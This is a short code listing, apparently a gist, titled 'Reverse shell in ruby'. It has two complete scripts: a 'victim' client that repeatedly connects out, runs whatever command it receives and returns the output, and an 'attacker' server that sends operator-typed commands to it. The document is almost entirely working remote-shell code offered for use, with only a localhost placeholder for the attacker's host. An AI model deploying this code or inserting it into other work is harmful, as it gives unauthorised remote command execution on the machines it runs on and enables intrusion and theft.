Reverse shell in ruby

client.rb

# https://github.com/AlexAvlonitis/
# Run: ruby client.rb, connects to server and awaits commands, aka victim

require 'socket'
require 'open3'

class Client
  HOSTNAME = 'localhost'
  PORT     = 2000

  def self.run
    loop do
      socket = TCPSocket.open(HOSTNAME, PORT)

      command_received = socket.gets

      Open3.popen2e(command_received) do |_stdin, stdout_err|
        socket.print(stdout_err.read)
      end

      socket.close
    end
  end
end

Client.run

server.rb

# https://github.com/AlexAvlonitis/
# Run: ruby server.rb, accepts incoming connections, aka attacker

require 'socket'

class SocketServer
  PORT = 2000

  def self.run
    server = TCPServer.open(PORT)

    loop do
      client = server.accept

      puts "client_connected: #{client.inspect}"

      puts 'Enter_command:'
      command = gets.chomp

      client.puts(command) # send command to connected client

      puts "\nClient Output:"
      puts "#{client.read}\n"

      client.close
    end
  end
end

SocketServer.run